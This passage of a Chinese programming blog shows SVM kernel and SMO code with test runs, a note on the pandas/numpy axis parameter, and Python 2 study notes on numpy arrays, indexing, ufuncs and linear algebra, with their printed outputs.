elif kTup[0] == 'rbf':
for j in range(m): #读取第j行的值,x
deltaRow = X[j,:] -A #j行减去i行的差,x-y (1,n)
K[j] = deltaRow * deltaRow.T #得到L2反数
K = exp(K / (-1 * kTup[1] ** 2)) #各值计算得到和函数的值,k有m行
else:
raise NameError('Houston we have a problem --That Kernel is not recognized')
return K


class optStructk:
def __init__(self,dataMatIn, classLabels, C, toler, kTup): # Initialize the structure with the parameters
self.X = dataMatIn
self.labelMat = classLabels
self.C = C
self.tol = toler
self.m = shape(dataMatIn)[0]
self.alphas = mat(zeros((self.m,1)))
self.b = 0
self.eCache = mat(zeros((self.m,2))) #first column is valid flag
#K为i,j的内积
self.K = mat(zeros((self.m,self.m)))
for i in range(self.m):
#得到第i列的值即y
self.K[:,i] = kernelTrans(self.X, self.X[i,:], kTup)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#修改用到核函数的辅助函数
def calcEk(oS, k):
fXk = float(multiply(oS.alphas,oS.labelMat).T*oS.K[:,k] + oS.b)
Ek = fXk - float(oS.labelMat[k])
return Ek

def innerLk(i, oS):
Ei = calcEk(oS, i)
if ((oS.labelMat[i]*Ei < -oS.tol) and (oS.alphas[i] < oS.C)) or ((oS.labelMat[i]*Ei > oS.tol) and (oS.alphas[i] > 0)):
j,Ej = selectJ(i, oS, Ei) #this has been changed from selectJrand
alphaIold = oS.alphas[i].copy(); alphaJold = oS.alphas[j].copy();
if (oS.labelMat[i] != oS.labelMat[j]):
L = max(0, oS.alphas[j] - oS.alphas[i])
H = min(oS.C, oS.C + oS.alphas[j] - oS.alphas[i])
else:
L = max(0, oS.alphas[j] + oS.alphas[i] - oS.C)
H = min(oS.C, oS.alphas[j] + oS.alphas[i])
if L==H:
#print("L==H");
return 0
eta = 2.0 * oS.K[i,j] - oS.K[i,i] - oS.K[j,j] #changed for kernel
if eta >= 0:
#print("eta>=0");
return 0
oS.alphas[j] -= oS.labelMat[j]*(Ei - Ej)/eta
oS.alphas[j] = clipAlpha(oS.alphas[j],H,L)
updateEk(oS, j) #added this for the Ecache
if (abs(oS.alphas[j] - alphaJold) < 0.00001):
#print("j not moving enough");
return 0
oS.alphas[i] += oS.labelMat[j]*oS.labelMat[i]*(alphaJold - oS.alphas[j])#update i by the same amount as j
updateEk(oS, i) #added this for the Ecache #the update is in the oppostie direction
b1 = oS.b - Ei- oS.labelMat[i]*(oS.alphas[i]-alphaIold)*oS.K[i,i] - oS.labelMat[j]*(oS.alphas[j]-alphaJold)*oS.K[i,j]
b2 = oS.b - Ej- oS.labelMat[i]*(oS.alphas[i]-alphaIold)*oS.K[i,j]- oS.labelMat[j]*(oS.alphas[j]-alphaJold)*oS.K[j,j]
if (0 < oS.alphas[i]) and (oS.C > oS.alphas[i]): oS.b = b1
elif (0 < oS.alphas[j]) and (oS.C > oS.alphas[j]): oS.b = b2
else: oS.b = (b1 + b2)/2.0
return 1
else: return 0
def smoPk(dataMatIn, classLabels, C, toler, maxIter,kTup=('lin', 0)): #full Platt SMO
oS = optStructk(mat(dataMatIn),mat(classLabels).transpose(),C,toler, kTup)
iter = 0
entireSet = True; alphaPairsChanged = 0
while (iter < maxIter) and ((alphaPairsChanged > 0) or (entireSet)):
alphaPairsChanged = 0
if entireSet: #go over all
for i in range(oS.m):
alphaPairsChanged += innerLk(i,oS)
#print("fullSet, iter: %d i:%d, pairs changed %d" % (iter,i,alphaPairsChanged))
print("fullSet, iter: %d , pairs changed %d" % (iter,alphaPairsChanged))
iter += 1
else:#go over non-bound (railed) alphas
nonBoundIs = nonzero((oS.alphas.A > 0) * (oS.alphas.A < C))[0]
for i in nonBoundIs:
alphaPairsChanged += innerLk(i,oS)
#print("non-bound, iter: %d i:%d, pairs changed %d" % (iter,i,alphaPairsChanged))
print("non-bound, iter: %d , pairs changed %d" % (iter,alphaPairsChanged))
iter += 1
if entireSet: entireSet = False #toggle entire set loop
elif (alphaPairsChanged == 0): entireSet = True
print("iteration number: %d" % iter)
return oS.b,oS.alphas

$f(x) = \sum\limits_{i=1}^m\alpha_i^*y_iK(x\cdot x_i) + b^*$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def testRbf(k1=1.3):
dataArr,labelArr = loadDataset('../../Downloads/machinelearninginaction/Ch06/testSetRBF.txt')
b,alphas = smoPk(dataArr, labelArr, 200, 0.0001, 10000, ('rbf', k1)) #C=200 important
datMat=mat(dataArr); labelMat = mat(labelArr).transpose()
#得到支持向量的索引
svInd=nonzero(alphas.A>0)[0] #[0]是因为alphas是一个mat,[1]是都是0的array
sVs=datMat[svInd] #get matrix of only support vectors
labelSV = labelMat[svInd];
print("there are %d Support Vectors" % shape(sVs)[0])
m,n = shape(datMat)
errorCount = 0
for i in range(m):
#除了支持向量的a都是0,只需要计算支持向量的核函数
kernelEval = kernelTrans(sVs,datMat[i,:],('rbf', k1)) #计算支持向量与数据的和函数,(shape(sVs)[0],1)
predict=kernelEval.T * multiply(labelSV,alphas[svInd]) + b #(1,i) * (i,1) =>(1,1)
if sign(predict)!=sign(labelArr[i]): errorCount += 1
print("the training error rate is: %f" % (float(errorCount)/m))
dataArr,labelArr = loadDataset('../../Downloads/machinelearninginaction/Ch06/testSetRBF2.txt')
errorCount = 0
datMat=mat(dataArr); labelMat = mat(labelArr).transpose()
m,n = shape(datMat)
for i in range(m):
kernelEval = kernelTrans(sVs,datMat[i,:],('rbf', k1))
predict=kernelEval.T * multiply(labelSV,alphas[svInd]) + b
if sign(predict)!=sign(labelArr[i]): errorCount += 1
print("the test error rate is: %f" % (float(errorCount)/m) )
1
testRbf()
fullSet, iter: 0 , pairs changed 30
iteration number: 1
non-bound, iter: 1 , pairs changed 5
iteration number: 2
non-bound, iter: 2 , pairs changed 2
iteration number: 3
non-bound, iter: 3 , pairs changed 0
iteration number: 4
fullSet, iter: 4 , pairs changed 0
iteration number: 5
there are 29 Support Vectors
the training error rate is: 0.130000
the test error rate is: 0.150000

$\sigma$ 如果太小,会得到很多支持向量,因为各支持向量的影响会变小,所以需要更多支持向量,但是容易过拟合

$\sigma $如果过大,则支持向量变小,容易欠拟合

手写识别问题回顾

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
def img2vector(filename):
returnVect = zeros((1,1024))
fr = open(filename)
for i in range(32):
lineStr = fr.readline()
for j in range(32):
returnVect[0,32*i+j] = int(lineStr[j])
return returnVect

def loadImages(dirName):
from os import listdir
hwLabels = []
trainingFileList = listdir(dirName) #load the training set
m = len(trainingFileList)
trainingMat = zeros((m,1024))
for i in range(m):
fileNameStr = trainingFileList[i]
fileStr = fileNameStr.split('.')[0] #take off .txt
classNumStr = int(fileStr.split('_')[0])
if classNumStr == 9: hwLabels.append(-1)
else: hwLabels.append(1)
trainingMat[i,:] = img2vector('%s/%s' % (dirName, fileNameStr))
return trainingMat, hwLabels

def testDigits(kTup=('rbf', 10)):
dataArr,labelArr = loadImages('../../Downloads/machinelearninginaction/Ch06/digits/trainingDigits')
b,alphas = smoPk(dataArr, labelArr, 200, 0.0001, 10000, kTup)
datMat=mat(dataArr); labelMat = mat(labelArr).transpose()
svInd=nonzero(alphas.A>0)[0]
sVs=datMat[svInd]
labelSV = labelMat[svInd];
print("there are %d Support Vectors" % shape(sVs)[0])
m,n = shape(datMat)
errorCount = 0
for i in range(m):
kernelEval = kernelTrans(sVs,datMat[i,:],kTup)
predict=kernelEval.T * multiply(labelSV,alphas[svInd]) + b
if sign(predict)!=sign(labelArr[i]): errorCount += 1
print("the training error rate is: %f" % (float(errorCount)/m))
dataArr,labelArr = loadImages('../../Downloads/machinelearninginaction/Ch06/digits/testDigits')
errorCount = 0
datMat=mat(dataArr); labelMat = mat(labelArr).transpose()
m,n = shape(datMat)
for i in range(m):
kernelEval = kernelTrans(sVs,datMat[i,:],kTup)
predict=kernelEval.T * multiply(labelSV,alphas[svInd]) + b
if sign(predict)!=sign(labelArr[i]): errorCount += 1
print("the test error rate is: %f" % (float(errorCount)/m))
1
testDigits()
fullSet, iter: 0 , pairs changed 104
iteration number: 1
non-bound, iter: 1 , pairs changed 11
iteration number: 2
non-bound, iter: 2 , pairs changed 0
iteration number: 3
fullSet, iter: 3 , pairs changed 0
iteration number: 4
there are 115 Support Vectors
the training error rate is: 0.000000
the test error rate is: 0.016129

pandas-axis

发表于 2019-03-06 | 分类于 Data Science

axis

轴用来为超过一维的数组定义的属性,二维数据拥有两个轴:第0轴沿着行的垂直往下,第1
轴沿着列的方向水平延伸。 逐行即把每一行延伸下来的一列当做一组
逐列即把每一列延伸下来的一行当做一组

1
2
3
df = pd.DataFrame(np.arange(12).reshape((3,4)),index =['a','b','c'],
columns =['one','two','three','four'] )
print(df)
1
2
3
4
5
#+RESULTS:
: one two three four
: a 0 1 2 3
: b 4 5 6 7
: c 8 9 10 11

sum等操作

1
2
3
print(df.sum()) #默认是0,逐行向下,所以是沿着列计算的
print()
print(df.sum(1))#axis = 1的操作,沿着列向右做计算的,所以是各行的计算

drop等的计算

1
2
print(df.drop('four',axis = 1)) #沿着列丢弃four
print(df.drop('c',axis = 0)) #沿着行丢弃c
1
2
3
4
5
6
7
8
#+RESULTS:
: one two three
: a 0 1 2
: b 4 5 6
: c 8 9 10
: one two three four
: a 0 1 2 3
: b 4 5 6 7

plus拼接

1
2
3
4
5
6
7
8
9
10
df1 = df.reset_index().copy()
df2 =df.copy()

#merge
merged = df1.merge(df.reset_index(), on='index')
print(merged) #横向连接,即axis = 1默认是内连接,
merged_index = df1.merge(df,right_index = True,left_on='index')
print(merged_index) #即df1的index列和df的index连接
merged_all_Index = df2.merge(df,right_index = True,left_index = True )
print(merged_all_Index)
1
2
3
4
5
6
#numpy的concatenate axis = 1即横向连接,axis=0即竖向连接,默认axis=0
arr = np.arange(12).reshape(3,4)
print(arr)
print(np.concatenate([arr,arr]))
print('axis = 1')
print(np.concatenate([arr,arr],axis = 1))
1
2
3
4
#pd.concat axis=0默认,即竖向连接,axis=1是横向,默认是outer连接
print(pd.concat([df,df]))
print('axis =1 ')
print(pd.concat([df,df],axis =1))

add/div等操作

1
2
3
4
5
6
#axis =0 的情况,即逐行的以组series
#因为df是 3*4的,所以要一个长度3的数组
print(df.add(np.arange(3),axis=0))

#axis = 1的情况, 即逐列的一组数组, 默认axis = 1
print(df.add(np.arange(4)))
1
2
3
4
5
6
7
8
9
#+RESULTS:
: one two three four
: a 0 1 2 3
: b 5 6 7 8
: c 10 11 12 13
: one two three four
: a 0 2 4 6
: b 4 6 8 10
: c 8 10 12 14

聚合groupby

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#groupby 默认按照axis=0 也可以axis=1聚合
df = pd.DataFrame({'key1' : ['a', 'a', 'b', 'b', 'a'],
'key2' : ['one', 'two', 'one', 'two', 'one'],
'data1' : np.random.randn(5),
'data2' : np.random.randn(5)})
print(df)
#axis = 0即对于列key,划分数据,列1里,0,1,4为a,其他列同理;按照行分来
for a, b in df.groupby('key1',axis =0):
print(a)
print(b)
print()

print('-----axis=1的情况----------')
#axis = 1 即对着列分割,每一行按照key进行分割,整体看来是按照列 分割
#object就是第一和第二列,float64即后面两列
for a, b in df.groupby(df.dtypes, axis =1):
print(a)
print(b)
print()

python2-for-data-analysis

发表于 2019-03-03 | 分类于 Data Science

chapter 1

基本import

1
2
import numpy as np
import pandas as pd

Chapter 2

Chapter 3: python

Chapter 4: numpy

创建ndarray

arange

1
2
3
4
5
6
7
8
9
10
11
12
13
import pandas as pd
pd.options.display.notebook_repr_html = False
import numpy as np
data1 =[6,7,8,0,1]
arr1 = np.array(data1)
arr1
print data1 * 2 #list 会变成重复数组
print arr1 * 2 # array会传播进行运算
#print data1 + 2 #会报错
print arr1 + 2
print arr1.ndim #维度
print arr1.shape
print arr1.reshape(5,1).shape
1
2
3
4
5
6
7
8

#+RESULTS:
: [6, 7, 8, 0, 1, 6, 7, 8, 0, 1]
: [12 14 16 0 2]
: [ 8 9 10 2 3]
: 1
: (5,)
: (5, 1)

创建函数

函数 描述
array 创造array
asarray 转换成array
arange 类似于range
ones 全部为1的array,参数为shape
ones~like~ 参数为array类型
zeros 类似于 ones
zeros~like~ 类似于 ones~like~
empty 类似于 ones
empty~like~ 类似于 ones~like~
eye 创建一个单位矩阵,参数为int
identity like eye
meshgrid 参数为两个一维数组,产生两个二维矩阵(对应两个数组中所有(x,y)对)
a = np.identity(3)
print(a)
a = np.ones_like(a)
print(a)
1
2
3
4
5
6
7
    #+RESULTS:
: [[ 1. 0. 0.]
: [ 0. 1. 0.]
: [ 0. 0. 1.]]
: [[ 1. 1. 1.]
: [ 1. 1. 1.]
: [ 1. 1. 1.]]
类型 缩写 说明
int8 i1 有符号8位int
uint8 u1 无符号8位int
int16 i2
uint16 u2
int32 i4
unit32 u4
int64 i8
uint64 u8
float16 f2 半精度浮点数
float32 f4 or f 标准单精度浮点数,与C的float兼容
float64 f8 or d 双精度,C的double和python的float兼容
float128 f16 or g 扩展精度浮点数
complex64 c8 用两个32位浮点数表示的复数
complex128 c16
complex256 c32
bool ? 储存True和False值的布尔类型
object O python对象类型
string_ S 固定长度的字符(每个字符1个字节)长度为10的字符串,应使用S10
unicode_ U 固定长度的unicode

数据类型转换astype

  1. 参数为数据类型

查看数据类型

  1. array的自带属性dtype

索引和切片

切片是原始数据的视图,而不是复制,修改会反映到原数组上 注意点</span> [切片是原始数据的视图而不是复制修改会反映到原数组上]

新的表示方法

1
2
3
4
5
6
7
8
a = np.arange(15).reshape(3,5)
print(a)
print
print(a[2][3]) #原本的表示方法
print
print(a[2,3]) #numpy新增的表示方法
print
print a[[2,1]] #花式索引
1
2
3
4
5
6
7
8
9
10
[[ 0  1  2  3  4]
[ 5 6 7 8 9]
[10 11 12 13 14]]

13

13

[[10 11 12 13 14]
[ 5 6 7 8 9]]

布尔型索引

  1. 否定符号 != / -

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    names = np.array(["Bob","Joe", 'Will', 'Bob', "Will",'Joe','Joe'])
    data = np.random.randn(7,4)
    print(names)
    print
    print(data)
    print
    print(data[names == "Bob"])
    print
    print(data[names != "Bob"])
    print
    print(data[-(names == 'Bob')]) #numpy 新的表示方法
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    ['Bob' 'Joe' 'Will' 'Bob' 'Will' 'Joe' 'Joe']

    [[ -1.06602469e+00 1.70960938e+00 -5.37441602e-01 -1.26864579e+00]
    [ 6.83392505e-01 -3.65908339e-01 -1.07189314e+00 1.78582204e+00]
    [ -1.06516810e+00 1.74430728e+00 5.88376963e-01 1.59791560e-01]
    [ -1.96586484e-01 1.14215100e-04 -7.00807814e-01 -1.75005941e-01]
    [ 9.63746755e-01 -4.51637875e-01 -1.78610575e+00 6.75211511e-01]
    [ -6.90968770e-01 5.80293483e-01 7.34267063e-01 4.58773330e-01]
    [ -1.36539167e-01 1.90051999e+00 -1.13351041e+00 7.74997645e-01]]

    [[ -1.06602469e+00 1.70960938e+00 -5.37441602e-01 -1.26864579e+00]
    [ -1.96586484e-01 1.14215100e-04 -7.00807814e-01 -1.75005941e-01]]

    [[ 0.6833925 -0.36590834 -1.07189314 1.78582204]
    [-1.0651681 1.74430728 0.58837696 0.15979156]
    [ 0.96374676 -0.45163788 -1.78610575 0.67521151]
    [-0.69096877 0.58029348 0.73426706 0.45877333]
    [-0.13653917 1.90051999 -1.13351041 0.77499765]]

    [[ 0.6833925 -0.36590834 -1.07189314 1.78582204]
    [-1.0651681 1.74430728 0.58837696 0.15979156]
    [ 0.96374676 -0.45163788 -1.78610575 0.67521151]
    [-0.69096877 0.58029348 0.73426706 0.45877333]
    [-0.13653917 1.90051999 -1.13351041 0.77499765]]
    /Users/Yueyec/.pyenv/versions/anaconda2-4.3.0/lib/python2.7/site-packages/ipykernel/__main__.py:11: DeprecationWarning: numpy boolean negative, the `-` operator, is deprecated, use the `~` operator or the logical_not function instead.

花式索引

  1. 是复制,不是视图

  2. 索引参数是一个list 里面是row index,可重复

  3. 参数是二阶list,得到的会是对应的单个元素 注意点</span>

    1
    2
    3
    4
    5
    6
    7
    8
    9
    arr = np.arange(32).reshape((8,4))
    print(arr)
    print
    print(arr[[1,5,7,2],[0,3,1,2]]) #会得到arr[1,0],arr[5,3],arr[7,1],arr[2,2]的一阶array
    print
    #第一种方法
    print(arr[[1,5,7,2]][:,[0,3,1,2]])
    print
    print(arr[np.ix_([1,5,7,2],[0,3,1,2])]) #np.ix_将两个一维整数数组转换成一个用于区域的索引器
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    [[ 0  1  2  3]
    [ 4 5 6 7]
    [ 8 9 10 11]
    [12 13 14 15]
    [16 17 18 19]
    [20 21 22 23]
    [24 25 26 27]
    [28 29 30 31]]

    [ 4 23 29 10]

    [[ 4 7 5 6]
    [20 23 21 22]
    [28 31 29 30]
    [ 8 11 9 10]]

    [[ 4 7 5 6]
    [20 23 21 22]
    [28 31 29 30]
    [ 8 11 9 10]]

数组转置和轴对换

  1. 转置为视图,非复制,但是不改变实例本身(self)的结构

  2. T属性

    1. 轴颠倒
  3. transpose()方法 没明白</span>

    1. 参数为由轴编号组成的元组

      1
      2
      3
      4
      arr = np.arange(16).reshape((2,2,4))
      print(arr)
      print "---------------------"
      print(arr.transpose((1,0,2)))
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      [[[ 0  1  2  3]
      [ 4 5 6 7]]

      [[ 8 9 10 11]
      [12 13 14 15]]]
      ---------------------
      [[[ 0 1 2 3]
      [ 8 9 10 11]]

      [[ 4 5 6 7]
      [12 13 14 15]]]
  4. swapaxes函数 没明白</span>

通用函数

常用一元函数列表

函数 描述
abs 绝对值
fabs 绝对值,对于非复数值,计算更快
sqrt 平方根,相当于arr ** 0.5
square 平方,相当于arr ** 2
exp 指数 e^x^
log 自然对数(底数为e)
log10 底数为10
log2 底数为2
log1p log(1 +x)
sign 各元素的正负号:1(正数),0(零),-1(负数)
ceil ceiling值,即大于等于该数值的最小整数
floor floor值,即小于等于该数值的最大整数
rint 各元素四舍五入到最接近的整数,保留dtype
modf 数组的小数和整数以两个独立数组的形式返回
isnan 返回一个表示“哪些值是NaN”的布尔型数组
isfinite 返回一个表示“那些值是有穷的(非inf,非NaN)”的布尔型数组
isinf 返回一个表示”哪些值是无穷”的布尔型数组
cos 三角函数
cosh 三角函数
sin 三角函数
sinh 三角函数
tan 三角函数
tanh 三角函数
arccos 反三角函数
arccosh 反三角函数
arcsin 反三角函数
arcsinh 反三角函数
arctan 反三角函数
arctanh 反三角函数
logical~not~ 计算各元素not x的真值,相当于-arr

常用二元函数列表

函数 描述
add 元素相加
subtract 第一个数组减去第二个数组的元素
multiply 数组元素相乘
divide 除法
floor~divide~ 向下园整除法(丢弃余数)
power 对于第一个数组元素A,第二个数组元素B,计算A** B
maximum 计算最大值
fmax 计算最大值(忽略NaN)
fmin 计算最小值(忽略NaN)
minimum 计算最小值
mod 模运算
copysign 将第二数组中值的符号复制给第一个数组中的值
greater 相当于 >
greater~equal~ 相当于 >=
less 相当于 \<
less~equal~ 相当于 \<=
equal 相当于 ==
not~equal~ 相当于 !=
logical~and~ 相当于 &
logical~or~ 相当于
logical~xor~ 相当于 \^

利用数组进行数据处理

假设在一组值(网格型)上计算函数sqrt(x^2^ + y^2^)

1
2
3
4
5
6
a = np.arange(5)
b = np.arange(5,9)
xs,ys = np.meshgrid(a, b)
print(xs) #xs为a在轴0上广播len(b)次,即4
print '----------'
print(ys) #ys为b.T在轴1上广播Len(a)次,即5
1
2
3
4
5
6
7
8
9
[[0 1 2 3 4]
[0 1 2 3 4]
[0 1 2 3 4]
[0 1 2 3 4]]
----------
[[5 5 5 5 5]
[6 6 6 6 6]
[7 7 7 7 7]
[8 8 8 8 8]]
1
2
3
4
5
6
7
8
points = np.arange(-5,5,0.01) #1000个间隔相等的点
xs,ys = np.meshgrid(points, points)
import matplotlib.pyplot as plt
z = np.sqrt(xs ** 2+ ys ** 2)
plt.imshow(z,cmap = plt.cm.gray)
plt.colorbar()
plt.title("Image plot of $\sqrt{x^2 + y^2}$ for a grid of values")
plt.show()

将条件逻辑表述为数组运算

numpy.where函数是三元表达式x if condition else y的矢量化版本

  1. 假设这三个变量

    1
    2
    3
    4
    import numpy as np
    xarr = np.array([1.1, 1.2, 1.3, 1.4, 1.5])
    yarr = np.array([2.1, 2.2, 2.3, 2.4, 2.5])
    cond = np.array([True, False, True, True, False])
  2. 假设根据cond的值来选取xarr与yarr的值,当cond为True,选取xarr,否者yarr

    1. 常规做法,对于大数组处理速度不快,无法作用于多维数组

      1
      2
      result = [x if c else y  for x, y, c in zip(xarr, yarr, cond)]
      print(result)
      1
      [1.1000000000000001, 2.2000000000000002, 1.3, 1.3999999999999999, 2.5]
    2. 用where处理

      1
      2
      result = np.where(cond, xarr, yarr)
      print(result)
      1
      [ 1.1  2.2  1.3  1.4  2.5]
  3. 复杂的例子

    1. 常规的做法

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      cond1 = cond
      cond2 = np.array([True,False, False, True, True])
      result = []
      for i in range(len(cond1)):
      if cond1[i] and cond2[i]:
      result.append(0)
      elif cond1[i]:
      result.append(1)
      elif cond2[i]:
      result.append(2)
      else:
      result.append(3)
      print(result)
      1
      [0, 3, 1, 0, 2]
    2. 用where

      1
      2
      3
      4
      result = np.where(cond1 &cond2, 0,
      np.where(cond1, 1,
      np.where(cond2, 2, 3)))
      print(result)
      1
      [0 3 1 0 2]
    3. 用“布尔值在计算过程中可以被当做0或1处理”,用算术运算(感觉像黑魔法)
      :有问题?:

      1
      2
      result = 1* (cond1 - cond2) + 2* (cond2 & - cond1) +3 * - (cond1 | cond2)
      print(result)
      1
      [0 3 1 0 3]

数学和统计方法

sum, mean, std既可以当做实例方法,也可以当做顶级numpy函数使用

1
2
3
4
5
6
7
arr = np.random.randn(5,4) #正态分布的数据

print arr.mean()
print "-----------------------"
print np.mean(arr)
print "-----------------------"
print arr.sum()
1
2
3
4
5
0.0748211510483
-----------------------
0.0748211510483
-----------------------
1.49642302097

mean 与 sum这类函数可以接受一个axis参数(用于计算该轴上的统计值),最终结构是少一维度的数组 axis和想象中相反</span> [mean-与-sum这类函数可以接受一个axis参数用于计算该轴上的统计值最终结构是少一维度的数组]

1
2
3
4
5
6
7
print arr
print "---------------------"
print arr.mean(axis = 1) #在轴1中传播,即在列中进行计算
print "---------------------"
print arr.sum(0) #轴0
print "---------------------"
print arr.sum(1) #轴1
1
2
3
4
5
6
7
8
9
10
11
[[ 0.79860446 -0.67843272  2.58233563  0.33419308]
[ 0.22848276 -1.42518949 -1.04403965 -0.3835565 ]
[-0.34612276 1.39126673 0.29382674 0.53407341]
[ 1.21116404 -1.05950897 0.18198447 -0.99575602]
[ 0.81490393 -2.09189052 0.27434089 0.87574352]]
---------------------
[ 0.75917511 -0.65607572 0.46826103 -0.16552912 -0.03172555]
---------------------
[ 2.70703243 -3.86375497 2.28844807 0.36469749]
---------------------
[ 3.03670044 -2.62430288 1.87304412 -0.66211648 -0.12690218]

cumsum 和 cumprod之类不聚合,产生一个由中间结果组成的数组

1
2
3
4
5
6
7
import numpy as np
arr = np.array([[0,1,2],[3,4,5],[6,7,8]])
print(arr.cumsum(0))
print "-------------------"
print(arr.cumsum(1))
print "-------------------"
print(arr.cumprod(1)) #积累相乘
1
2
3
4
5
6
7
8
9
10
11
[[ 0  1  2]
[ 3 5 7]
[ 9 12 15]]
-------------------
[[ 0 1 3]
[ 3 7 12]
[ 6 13 21]]
-------------------
[[ 0 0 0]
[ 3 12 60]
[ 6 42 336]]

基本数组统计方法

方法 描述
sum 全部,或者某轴向的元素求和
mean 算术平均数,零长度的数组的mean为NaN
std 标准差,自由度可调(默认为n)
var 方差,自由度可调(默认为n)
min 最小值
max 最大值
argmin 最小值索引
argmax 最大值索引
cumsum 元素的累计和
cumprod 元素的累计乘积

用于布尔型数组的方法

  1. 可以用sum来求True的计数

    1
    2
    arr = np.random.randn(100)
    print((arr> 0).sum())
    1
    52
  2. any all 来测试数组是否存在一个及以上的True,是否所有值为True

    1
    2
    3
    bools = np.array([False,False,True,False])
    print(bools.any())
    print(bools.all())
    1
    2
    True
    False

排序

  1. numpy数组自带sort方法

    1
    2
    3
    4
    5
    arr = np.random.randn(8)
    print (arr)
    print "---------------------------------------------------"
    arr.sort()
    print (arr)
    1
    2
    3
    4
    5
    [ 1.8328002   0.41074931 -0.60400869  1.53465964 -0.60704556 -0.16515945
    -1.02657211 -0.91581907]
    ---------------------------------------------------
    [-1.02657211 -0.91581907 -0.60704556 -0.60400869 -0.16515945 0.41074931
    1.53465964 1.8328002 ]
  2. 多维数组中任意轴上进行排序,只需参数线路轴编号

    1
    2
    3
    4
    5
    arr = np.random.randn(5,3)
    print arr
    print "-----------------------------"
    arr.sort(1)
    print arr
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    [[-0.51009631 -1.66867772 -0.22805943]
    [-0.66434219 0.38498122 -1.23044479]
    [-0.39114451 0.01949044 -1.25717288]
    [-0.00524041 0.42130187 -2.21689239]
    [ 0.95358967 -0.94485412 -0.84467746]]
    -----------------------------
    [[-1.66867772 -0.51009631 -0.22805943]
    [-1.23044479 -0.66434219 0.38498122]
    [-1.25717288 -0.39114451 0.01949044]
    [-2.21689239 -0.00524041 0.42130187]
    [-0.94485412 -0.84467746 0.95358967]]
  3. 顶级方法np.sort不会改变原数组,返回已经排序的副本

唯一化以及其他的集合逻辑

  1. np.unique 返回数组已排序的唯一值

    1
    2
    3
    4
    5
    6
    names = np.array(["Bob", 'Joe','Will','Bob','Will','Joe','Joe'])
    print np.unique(names)
    ints = np.array([3,3,3,2,2,1,1,4,4])
    print np.unique(ints)
    print "-------------"
    print sorted(set(names)) #纯python代码,与之等价
    1
    2
    3
    4
    ['Bob' 'Joe' 'Will']
    [1 2 3 4]
    -------------
    ['Bob', 'Joe', 'Will']
  2. np.in1d 返回一个数组的值是否在另一个数组中,返回一个布尔型数组

    1
    2
    3
    4
    values = np.array([6,0,0,3,2,5,6])
    a = np.in1d(values, [2,3,6])
    print a
    print values[a]
    1
    2
    [ True False False  True  True False  True]
    [6 3 2 6]
  3. 数组集合运算

    | 函数 | 描述 |
    |—————————|———————————————————————————————|
    | unique(x) | 计算x中的唯一元素,并返回有序的结果 |
    | intersect1d(x,y) | 计算x和y的公共元素,并返回有序结果 |
    | union1d(x,y) | 计算x和y的并集,并返回结果 |
    | in1d(x,y) | 得到一个“x的元素是否包含于y”的布尔型数组 |
    | setdiff1d(x,y) | 集合的差,机元素在x中且不在y中 |
    | setxor1d(x,y) | 集合的对称差,即存在于一个数组中但不同是存在两个数组中的元素 |
    | | |

用于数组的文件输入输出

  1. 以数组为二进制格式保存到磁盘

    1. np.save, np.load

      1
      2
      3
      arr = np.arange(10)
      np.save('some_array',arr) #不加后缀名,自动添加.npy
      print np.load("some_array.npy")
      1
      [0 1 2 3 4 5 6 7 8 9]
    2. np.savez
      可以将doge数组保存到一个压缩文件中,将数组以关键字参数的形式传入

      1
      2
      3
      4
      5
      arr1 = np.arange(10)
      arr2 = np.arange(1,20,2)
      np.savez("array_archive.npz",a = arr1, b = arr2)
      arch = np.load("array_archive.npz")
      print arch["b"]
  2. 存取文本文件

    1. np.loadtxt(“xx”, deliniter = “,”) #第二个参数为分隔符

    2. np.genfromtxt() 面向的是结构化数组和缺失数据处理

线性代数

  1. dot 方法

  2. linalg

    1. 有一组标准的矩阵分解运算以及求逆和行列式 之类的东西

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      import numpy as np
      from numpy.linalg import inv, qr
      from numpy.random import randn
      x = randn(5,5)
      mat = x.T.dot(x)
      print "inv(mat)----------------"
      print inv(mat)
      print "mat.dot(inv(mat))---------------------------"
      print mat.dot(inv(mat))
      q, r = qr(mat)
      print "q---------------------------"
      print q
      print "r---------------------------"
      print r
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      inv(mat)----------------
      [[ 5.24583468 14.98884503 9.71335736 -7.77651755 -22.8396013 ]
      [ 14.98884503 46.52511417 28.81764808 -22.01122276 -69.70405132]
      [ 9.71335736 28.81764808 18.67257302 -14.00870932 -44.03024424]
      [ -7.77651755 -22.01122276 -14.00870932 12.70341866 32.9416411 ]
      [ -22.8396013 -69.70405132 -44.03024424 32.9416411 106.1381638 ]]
      mat.dot(inv(mat))---------------------------
      [[ 1.00000000e+00 -1.27763158e-14 -3.16524540e-15 5.52810747e-15
      -1.55455587e-14]
      [ -8.09523246e-15 1.00000000e+00 -5.76325857e-15 -1.66274227e-15
      2.52694539e-14]
      [ 1.00097108e-15 2.71639602e-16 1.00000000e+00 -9.81680658e-15
      3.54119545e-15]
      [ -6.64139148e-16 1.57971687e-14 3.29027055e-15 1.00000000e+00
      -2.99822967e-14]
      [ -3.04200410e-15 -8.84058697e-15 1.92099465e-15 -8.57631485e-15
      1.00000000e+00]]
      q---------------------------
      [[-0.91326408 0.01491589 -0.30364189 0.21681123 -0.16285184]
